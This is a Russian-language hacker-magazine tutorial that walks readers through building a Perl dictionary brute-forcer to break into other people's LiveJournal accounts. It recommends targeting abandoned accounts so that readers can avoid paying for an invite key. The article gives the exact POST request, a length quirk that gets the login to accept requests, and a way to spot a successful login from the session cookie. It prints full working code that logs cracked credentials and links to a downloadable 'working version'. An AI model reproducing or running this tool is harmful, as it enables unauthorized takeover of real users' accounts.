Всем известно, как в последнее время стал
популярен ресурс livejournal.com или попросту ЖЖ.
Сделать аккаунт в этой системе далеко не
просто. Нужно либо заплатить за ключ, либо
попросить его у знакомых ЖЖистов. 

Существует известная пословица: чем
просить и унижаться, лучше <вырезано
цензурой> и молчать :). Поэтому, сегодня мы
будем писать брутфорс, который с легкой
руки поломает ЖЖ какого-нибудь американца
лабуха :). Разумеется, ты должен выбирать
жертву, которая кинула пару сообщений после
регистрации, а потом как в воду канула, то
есть попросту забила на livejournal. Таких
аккаунтов полно и их можно узнать без
проблем.

Итак, вернемся к нашей задумке. Вначале нам
нужно узнать, как осуществляется логин в
систему. Зайдя на www.livejournal.com/login.bml мы увидим
в правом верхнем углу маленькую форму для
логина. Нет, я сужу не про большую в середине
экрана. После просмотра html-кода я выбрал
маленькую. Дело в том, что в этой форме всего
два параметра, в отличии от полноценной. Наш
будущий брутфорс должен передавать минимум
данных для высокого КПД, поэтому
остановимся на этой формочке.

Форма имеет два параметра: user и password. Сам
скрипт может получить необязательный
параметр mode, значение которого равно "login".
Видимо, при передаче user и password система
подразумевает авторизацию. Нетерпеливо
вбив в броузере ссылку http://www.livejournal.com/login.bml?user=fuck&password=fucked
(естественно, все имена изменены в целях
конспирации :)), я получил от ворот поворот.
Система была рассчитана только на POST-метод.
Но я человек упорный и не устоял даже перед
этой защитой :].

Следующим шагом было восстановления памяти
на предмет работы POST-метода. Для него
актуальна передача следующих обязательных
параметров на сервер:

POST
Host
Content-Length

собственно пост 🙂

Примерно набросав в текстовике запрос на
сервер, я получил следующее:

POST /login.bml HTTP/1.1
Host: www.livejournal.com
Content-Type: application/x-www-form-urlencoded 
Content-Length: 26

user=fuck&password=fucked

Как ни странно, оно не работало :). Система
ругалась на неверный пароль. Я подумал, мол
существует проверка на Referer и UserAgent, но ошибся.
При подстановке поддельных параметров
сервер также выдавал ответ - Password Incorrect. Как
оказалось, если поставить после пароля
символ & и увеличить длину строки на
единичку, то сервер успешно кушал данные и
возвращал Loginned.

Мне очень не хотелось выкачивать всю
длинную ХТМЛину и вырезать из нее строку
Loginned. Я хотел ограничиться скромным recv на
один килобайт данных :). Это было возможным,
так как сервер проставлял кукизы в header-строках.
В этих куках при удачном ответе содержалось
имя пользователя и зашифрованный пароль,
примерно в таком формате:

Set-Cookie: ljsession=ws:fuck:1:fDjwfWdsC; path=/; HttpOnly

Ничто не мешало проверить, есть ли в header'е
имя пользователя и если есть - прекращать
брутфорсинг и писать в лог аккаунт.

В теории брутфорс был написан. Осталось
реализовать это дело на практике. Я
использовал Perl для кодинга, ибо знаю этот
язык уже третий год и он идеально подходил
для моих задумок. Поискав у себя на винте
шаблон брута, я нашел MIME-брутфорс для httpd-аккаунтов,
который как-то описывал на этом сайте :).
Немного изменив его, я получил полноценный
ЖЖ-брутфорс. Единственным его минусом
является однопотоковость, но для такого
крутого кодера как ты, я считаю это не будет
большой проблемой :). Тебе остается
реализовать многопотоковость, либо
пользоваться моей демо-версией ;).

Итак, собственно код:

#!/usr/bin/perl
use IO::Socket; ##
Юзаем сокеты
$|++; ##
Инкременируем
буферайз

$server="www.livejournal.com"; ##
Задаем
сервер

$port="80"; ##
А также
порт 🙂

$logfile="cracked.log"; ##
Сюда
пишем взломанный аккаунт

$words="bigdict.txt"; ##
Наш
большой словарик, по которому ведется
брутфорс

$user="fuck"; ##
Юзер,
которого ломаем

$dir="/login.bml"; ##
Скрипт,
который возвращает статус

open(file, "$words") or die print "$!\n"; 
@data=<file>;
$total=@data;
close file; ##
Откроем
словарь, запишем все слова в массив

foreach $pass (@data) { ##
Цикл по
каждому слову

$i++;
chomp($pass);
$socket=IO::Socket::INET->new(PeerAddr => $server,
PeerPort => $port,
Proto => tcp)
or die print "Unable to connect to $server:$port\n"; ##

Создаем соединение с livejournal.com

$socket->autoflush(1); ##

Отрубаем буферизацию (на всякий случай, т.к.
по дефолту она вырублена)

$post="user=$user&password=$pass&"; ##

Формируем POST-запрос

$len=length($post);
$len+=1; ##
Находим длину
запроса (фраза + \r\n)

print $socket "POST $dir HTTP/1.1\r\n";
print $socket "Host: www.livejournal.com\r\n";;
print $socket "Content-Type: application/x-www-form-urlencoded\r\n";
print $socket "Connection: Close\r\n";
print $socket "Content-Length: $len\r\n";
print $socket "\r\n$post\r\n";

## Отправим в сокет
длинный header

$socket->recv($answer,1024); ## И
прочитаем возврат = 1 кб данных

if ($answer=~/\:$user\:/) {
open(logf, ">>$logfile") or die print "$!\n";
print logf "$user:$pass is OK!!!\n";
close logf;
print "$user:$pass is OK!!!\n";
exit 0; ##
Если он содержит
строку вида :user: - пишем лог и завершаем брут.

} ##
Иначе, проверяем
следующий пароль

}

Вот собственно и весь брутфорс. Проверен
лично мной - работает на ура :). Но аккаунтов
для проверки я тебе не дам - я жадный ;), тести
на своих. Как видишь все просто осуществить,
если только захотеть. 

Рабочую версию брутера ты можешь скачать по
ссылке http://kamensk.net.ru/forb/1/x/brut-lj.tar.gz.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии